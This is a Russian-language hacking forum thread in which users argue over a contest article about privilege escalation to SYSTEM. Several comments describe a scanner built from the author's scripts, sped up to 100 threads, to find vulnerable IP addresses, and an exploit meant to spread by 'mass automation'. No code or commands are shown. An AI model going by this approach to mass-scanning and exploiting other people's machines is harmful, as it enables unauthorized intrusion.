РАБОТА СО СВЕЖЕИСПЕЧЕННОЙ СИСТЕМЫ. abuser в действии + cheat как все-таки @ба@на@рот добраться до SYSTEM =))) хе-хе

Нажмите, чтобы раскрыть...
Привет, пока что это баш с комментами, ещё время есть, целый месяц, напищи пжста статью и я за тебя проголосую, как и другие, вот поверь!!!
 
спасибо всем ))) посмеялся))) особенно прикалывают те, у кого руки из жопы и орут громко "Паааааблииик" итп. Линукс, диб.. это и есть паблик. Лицензия распротранения ПАБЛИК. Более того ОПЕНСОРС (да простит меня Лавров) деб.. бл.. Статью напишу. Как и обещал, под конец. Подумаю насчет того, каким пабликом еще поделиться. Умник с задних рядов "апт инсталл ллвм мингв", тот самый... Твои руки по-любому бьются о турникеты контрольных терминалов метро. Только не говори что ты там не бываешь ;-) Бабули охают по-любому. А ты весельчак тут отрываешься =))) молодчага))
 
Даже сделаю лучше. Сделаю репозиторий, и все крутые перцы пусть реквестят. За каждый пуш буду денег давать. Уверен, пуканы порвутся не доходя гита..))
 
x4k сказал(а):
Умник с задних рядов "апт инсталл ллвм мингв", тот самый... Твои руки по-любому бьются о турникеты контрольных терминалов метро. Только не говори что ты там не бываешь ;-) Бабули охают по-любому. А ты весельчак тут отрываешься =))) молодчага))
Нажмите, чтобы раскрыть...
Да я живу прям в метро, из канализации сейчас и вещаю. Извини что тебе так задели мои коменты, я ценю все что здесь делают и каждую твои букву, спасибо тебе за твоё время. Просто вот не понимаю я ваших этих хак паков и прочего, и мой мозг, в котором одна прямая извилина, пытается найти в этом логику, ну ладно, другой раз пройду мимо, еще раз извини.
 
s4l0 сказал(а):
Да я живу прям в метро, из канализации сейчас и вещаю. Извини что тебе так задели мои коменты, я ценю все что здесь делают и каждую твои букву, спасибо тебе за твоё время. Просто вот не понимаю я ваших этих хак паков и прочего, и мой мозг, в котором одна прямая извилина, пытается найти в этом логику, ну ладно, другой раз пройду мимо, еще раз извини.
Нажмите, чтобы раскрыть...
Я не говорил, что ты ведешь себя как бич малолетний, не приувеличивай. Я только сказал, что организм органически не понимает "людей", которые "категорически не понимают" ничего. (Сережа, спасай!). Только и всего
 
groupby сказал(а):
ускорив его в раз сто? а ты понимаешь что он пропускает в таком случае, специально обороты убавил там, не люблю когда люди умничают не понимая принцип работы и что почему делается, выкрикивают сидя на горшке глядя в лупу
Нажмите, чтобы раскрыть...
1) Я написал сканер на основе твоих скриптов для выявления потенциальных уязвимых адресов.
2) "специально обороты убавил" обороты чего ты убавил ? у тебя "оборотов не было вообще", если ты под словом "Обороты" имеешь в виду time.sleep или timeout, который прописан в скрипте так это не обороты, а время сна и время ожидания ответа от сервера на полученный post запрос который отправляется в скрипте, что в моем случае все работает ровно так же только не в 1 поток как у тебя а в 100 потоков и пропуски стали не хуже и не лучше.
3) Так что прежде чем про горшки говорить, сам разберись что и как работает в "твоем скрипте, который переписал человек "X"", мой комментарий не нес в себе характер какого то оскорбления или насмешки, я просто увеличил скорость обработки списка потенциально уязвимых ip который дал сканер и сократил уйму времени.
 
Apocalypse сказал(а):
Конкурс для любителей собирать паблик инфу из гугла и подавать под своим соусом.
Нажмите, чтобы раскрыть...
Нагуглить и собрать всё вместе - времязатратно.
Создать логическую связь между этим - времязатратно.
Расписать что к чему - времязатратно.
Бывает что только соус делает блюдо - блюдом, а не набором ингредиентов. Так что и соус тоже не маловажен.
 
Бл... Такое ощущение тут все ох@нные программеры, у всех собственноручно писанные проги :p Именно поэтому, точне из-за некоторых кретинов, которые-то и общаться тольком не могу, делиться ничем не хочется. Обосрут же сразу((( А так конечно веселуха у вас тут)
 
x4k сказал(а):
Бл... Такое ощущение тут все ох@нные программеры, у всех собственноручно писанные проги :p Именно поэтому, точне из-за некоторых кретинов, которые-то и общаться тольком не могу, делиться ничем не хочется. Обосрут же сразу((( А так конечно веселуха у вас тут)
Нажмите, чтобы раскрыть...
Так вот именно что никто никого не обсирает, просто есть люди которых задевает что кто то сделал комментарий по поводу того или иного продукта, надо уметь прислушиваться к любой критики или комментариям.
А в целом я соглашусь, лучше сидеть себе молча и делать дела, и нервы целей и настроение лучше )
 
groupby сказал(а):
тут люди трясуются над своими типа наработками, боятся что-то выложить свое, типа наработки, а выкладываешь exploit, функционал которого и подавно тут не было, под "масс автоматизацию" тут сразу появляются программеры которые в раз 200 улучшают код, он делает все сам лезет в сеть тебе остается только сидеть в сторонке пить пиво, чай, кофе, а где же до этого все были? где те самые доработанные скрипты с улучшенным геномом и т д?
Нажмите, чтобы раскрыть...
Если тебе интересно, то я могу скинуть все что изменил из твоей статьи , толком там ничего не поменялось, но все же .. мне не жалко, все равно дальше найденной уязвимости я пока не пойду потому что у меня нет опыта по сетям.
 
x4k сказал(а):
Бл... Такое ощущение тут все ох@нные программеры, у всех собственноручно писанные проги :p Именно поэтому, точне из-за некоторых кретинов, которые-то и общаться тольком не могу, делиться ничем не хочется. Обосрут же сразу((( А так конечно веселуха у вас тут)
Нажмите, чтобы раскрыть...
Художника каждый может обидеть, или как там было...
 
во-во, зачем так не вежливо, чел старался
DildoFagins сказал(а):
Художника каждый может обидеть, или как там было...
Нажмите, чтобы раскрыть...
За скрипт, спасибо масочка) точнее не за скрипт а за идею, натолконул ты на мыслю свежую.
x4k Thx a lot
 
Не ждал, просто так все внезапно было, а так я тебе верю

Уважаю социум.
 
KAJIT сказал(а):
во-во, зачем так не вежливо, чел старался
Нажмите, чтобы раскрыть...
Да понятно. Но как бы он тоже весьма не однозначный персонаж. Я ему указал, что статья не проходит по формальным признакам, что надо текста дописать. На что получил обвинение в том, что я из его приватных джистов с гитхаба свою статью спиздил. Потом еще эти скриншоты - хер пойми для чего выложенные, писюнами помериться или чего, я так и не понял. Кулхацкерская элита - такая кулхацкерская элита.
 
Top